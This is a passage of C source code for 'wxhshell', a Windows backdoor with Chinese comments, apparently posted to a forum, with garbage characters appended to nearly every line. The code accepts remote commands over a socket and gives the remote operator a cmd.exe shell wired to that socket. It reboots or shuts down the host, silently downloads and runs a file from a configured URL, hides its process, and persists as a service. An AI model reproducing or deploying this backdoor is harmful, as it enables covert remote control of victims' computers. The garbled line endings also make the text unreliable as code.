  // 帮助 wK,t q  
  case '?': { LDbo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kyv$yf 9  
    break; uD+;5S]us  
  } 4YdmG.CU  
  // 安装 Lrz>00(*4  
  case 'i': { Zaq:l[%  
    if(Install()) `B^?Za,xN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1W; +hXx  
    else ^*Ca+22xO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "--rz;+K  
    break; s'i1!GNF B  
    } 1N2:4|woe  
  // 卸载 'a4xi0**I  
  case 'r': { Ha;^U/0|  
    if(Uninstall()) >WDb89kC=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/Nw  
    else }bHd U]$}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8p PAEf  
    break; 03# r F@e  
    } Z>o20uA  
  // 显示 wxhshell 所在路径 u0N1+-6kr+  
  case 'p': { {X8F4  
    char svExeFile[MAX_PATH]; _sw,Y!x%dF  
    strcpy(svExeFile,"\n\r"); .O~)zM x  
      strcat(svExeFile,ExeFile); .vwOp*3\  
        send(wsh,svExeFile,strlen(svExeFile),0); +   
    break; 4,FuQ}  
    }  x@Q}sW92  
  // 重启 x"*u98&3  
  case 'b': { xpUaFb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 27gK Y Zf;  
    if(Boot(REBOOT)) yl)}1DPP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :h?Zg(l  
    else { Av7bp[OD  
    closesocket(wsh); :Bda]]Y=  
    ExitThread(0); 2v yB [(  
    } HlLF<k~}  
    break; K+PzTGWq^  
    } nB"q  
  // 关机 Xv6z>z.  
  case 'd': { CShVJ:u+K\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vlx wt~  
    if(Boot(SHUTDOWN)) v?5Xx{ym  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k$# @_  
    else { )}vQ?n[:'  
    closesocket(wsh); [\eUCt F  
    ExitThread(0); Lab{?!E>U  
    } vY6eg IO  
    break; ME{i-E4  
    } |$^,e%bE  
  // 获取shell J3g>#N]='(  
  case 's': { , )u}8ty3j  
    CmdShell(wsh); RCnN+b:c  
    closesocket(wsh); DBbmM*r  
    ExitThread(0); KhYGiVA  
    break; SO3WOR`3  
  } :>;-uve8'  
  // 退出 yUqvF6+26  
  case 'x': { I Yj\t?,0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '9]%#^[Q  
    CloseIt(wsh); kfM}j  
    break; + .mIC:9  
    } }|&M@Up  
  // 离开 V!a|rTU6  
  case 'q': { ^s_E|~U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y)?4OB=n  
    closesocket(wsh); ;9/6X#;$  
    WSACleanup(); {.DI[@.g  
    exit(1); ^7vh ize  
    break; LX!16a@SxA  
        } >5i1M^g(  
  } z@{|Y;s  
  } hnmFhJ !g  
KSMe#Qnw  
  // 提示信息 rKP"|+^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &W)k s  
} >/ECLP  
  } t> -cTQm  
6WzE'0Nyr  
  return; 8~Rja  
} '[{M"S  
 Xb&r|pR  
// shell模块句柄 Z[slN5]([  
int CmdShell(SOCKET sock) GL.& g{$#+  
{ %]nLCoQh  
STARTUPINFO si; x\3tSP7Vp  
ZeroMemory(&si,sizeof(si)); 6JSa:Q>,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; plv"/KJM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U3&*,xeU@H  
PROCESS_INFORMATION ProcessInfo; s[SzE6eQ`l  
char cmdline[]="cmd"; pIqPIuy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hUxpz:U*  
  return 0; A!ba_14  
} ?k<wI)JR  
&YmOXKf7  
// 自身启动模式 ,D  [  
int StartFromService(void) @R9  
{ Z>Rd6o'  
typedef struct :2 n5;fp  
{ |rq~.cA  
  DWORD ExitStatus; GQ$0`?lp  
  DWORD PebBaseAddress; ? Ls]k  
  DWORD AffinityMask; _( 0!bUs>  
  DWORD BasePriority; qWy{{ A+  
  ULONG UniqueProcessId; lmz{,O  
  ULONG InheritedFromUniqueProcessId; FwBktuS  
}   PROCESS_BASIC_INFORMATION; VVYQIR]!yk  
'i%Azzv  
PROCNTQSIP NtQueryInformationProcess; tPDV"Md#m<  
t/u$Ts  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +O*S>0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s<sqO,!  
C.C\(2- Rr  
  HANDLE             hProcess; |/]bpG'z  
  PROCESS_BASIC_INFORMATION pbi; 23U9+  
=3a`NO5!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |2 g }i\  
  if(NULL == hInst ) return 0; MztT/31S  
H_o<!YxK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j0kEi+!TVq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); < ;Qle  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z }R-J/xr2  
<$Q&n{  
  if (!NtQueryInformationProcess) return 0; TAi |]U!  
R 7xV{o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oHxaa>C>  
  if(!hProcess) return 0; [ }jSx]  
Nr|.]=K)5n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3-h u'xSU  
[77]0V7  
  CloseHandle(hProcess); x|F6^d   
jQ%}e"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bpzB}nEp  
if(hProcess==NULL) return 0; ]m=* =LLC  
|b'tf:l  
HMODULE hMod; zOg#=ql  
char procName[255]; ;}.jRmnJ  
unsigned long cbNeeded; {pd%I  
["Z]K'?P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D<5gdIw  
i._d^lR\t  
  CloseHandle(hProcess); m&Ms[X  
HTQ .kV  
if(strstr(procName,"services")) return 1; // 以服务启动 zp% MK+x  
>^+Q`"SN  
  return 0; // 注册表启动 tN3Xn]   
} jdXkU  
<!5N=-  
// 主模块 &EE6<-B-  
int StartWxhshell(LPSTR lpCmdLine) Y^2Ma878  
{ UF D_  
  SOCKET wsl; E+ JGqk  
BOOL val=TRUE; bxrByu~|1  
  int port=0; 7yeZ+lD  
  struct sockaddr_in door; }b)?o@9}:  
v:JFUn}  
  if(wscfg.ws_autoins) Install(); yw#P<8{/[  
@2YO_rL[  
port=atoi(lpCmdLine); }{=%j~V;&  
&X}9D)\UJ  
if(port<=0) port=wscfg.ws_port; a9FlzR  
>Q[]i4*A  
  WSADATA data; gRSM~<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?uk|x!Ko]  
.zBSjh_=H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {D1=TTr^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r/:9j(yxr  
  door.sin_family = AF_INET; OWtN=Gk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kqhj=B  
  door.sin_port = htons(port); 5C#&vYnq  
"O9uz$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NawnC!~ $  
closesocket(wsl); z#D@mn5\ a  
return 1; 8QFY:.h&  
} i]8zZRe  
J5@_OIc1y  
  if(listen(wsl,2) == INVALID_SOCKET) { 4)v\Dc/9i  
closesocket(wsl); dRWp/3 }  
return 1; w`F}3zm  
} DFE?H  
  Wxhshell(wsl); vlEd=H,LT  
  WSACleanup(); 5OpK~f5  
/x0zZ+}V  
return 0; \W/c C'  
m"H9C-Y  
} XImb"7|  
4;w_o9o  
// 以NT服务方式启动 %8S!l;\H5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,h8)5Mj/J  
{ l~F,i n.  
DWORD   status = 0; @105 @9F  
  DWORD   specificError = 0xfffffff; s7a\L=#p(  
Rjm5{aa-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M#F;eK2pf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1xT^ ,e6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <aL$d7  
  serviceStatus.dwWin32ExitCode     = 0; @-!w,$F)%d  
  serviceStatus.dwServiceSpecificExitCode = 0; 5-=mtvA:  
  serviceStatus.dwCheckPoint       = 0; ymr-kB  
  serviceStatus.dwWaitHint       = 0; m(*CuM[E  
N9,n/t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9FJU'$FN  
  if (hServiceStatusHandle==0) return; ug UV`5w   
/+02 BP  
status = GetLastError(); ==UH)o`?8  
  if (status!=NO_ERROR) i&"I/!3Q@  
{ a&PoUwG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o6B!ikz 8  
    serviceStatus.dwCheckPoint       = 0; - Nplx  
    serviceStatus.dwWaitHint       = 0; 4i/TEHQ  
    serviceStatus.dwWin32ExitCode     = status; ZFz>" vt@  
    serviceStatus.dwServiceSpecificExitCode = specificError; )0qXZ gs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?z Ms;  
    return; qC`"<R=GX  
  } >Pbd#*  
)oHIRsr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $zxCv7  
  serviceStatus.dwCheckPoint       = 0; 1Voo($q.  
  serviceStatus.dwWaitHint       = 0; J^0co1Y0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p]=8=pE<  
} ]yCmGt+b  
SGjaH 8z  
// 处理NT服务事件,比如:启动、停止 i"sVk8+o!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A+;]# 1y(D  
{  LDwu?"P!  
switch(fdwControl) y~p7&^FeR  
{ NTgk0cq  
case SERVICE_CONTROL_STOP: GD~3RnGQ{  
  serviceStatus.dwWin32ExitCode = 0; tEBf2|<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o(|`atvK  
  serviceStatus.dwCheckPoint   = 0; K6!`b( v#  
  serviceStatus.dwWaitHint     = 0; UI>-5,X  
  { B3XVhUP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L=zeFn  
  } Tje =vI  
  return; a] >|2JN<&  
case SERVICE_CONTROL_PAUSE: Njz,y}\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &e3z)h  
  break; P{rJG '  
case SERVICE_CONTROL_CONTINUE: }6m5MH$7q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P#rwYPww\  
  break; <~X=6  
case SERVICE_CONTROL_INTERROGATE: |K/#2y~  
  break; 0#sk]Qz  
}; N|7<*\o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~g>15b3  
} w&:h^u  
Kq6m5A]z  
// 标准应用程序主函数 q`9~F4\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sOU_j4M{  
{ hiU_r="*ox  
}wj*^>*  
// 获取操作系统版本 >,hJ5-9  
OsIsNt=GetOsVer(); POUB{ba  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CcAsJX~_  
6sB!m|zm]:  
  // 从命令行安装 pN4!*7M  
  if(strpbrk(lpCmdLine,"iI")) Install(); "%A[%7LY  
Z2*hQ`eE  
  // 下载执行文件 wrGd40  
if(wscfg.ws_downexe) { &WvJg#f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Fb"Is#S,  
  WinExec(wscfg.ws_filenam,SW_HIDE); !i}G>*XH,  
} fa5($jJ&  
hO{@!H$l  
if(!OsIsNt) { )@SIFE  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?_n.B=H`8  
HideProc(); CdTmL{Y1  
StartWxhshell(lpCmdLine); Zb);08X  
} i&.F}bEi  
else 4B (*{  
  if(StartFromService()) K%Q^2"Eb0  
  // 以服务方式启动 Mt@K01MI%  
  StartServiceCtrlDispatcher(DispatchTable); &sx/qS#,VL  
else u b4(mS  
  // 普通方式启动  w8FZXL  
  StartWxhshell(lpCmdLine); TSHp.ABf  
] ^  
return 0; D8[&}D4  
}
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只看该作者 1 发表于: 2006-10-10
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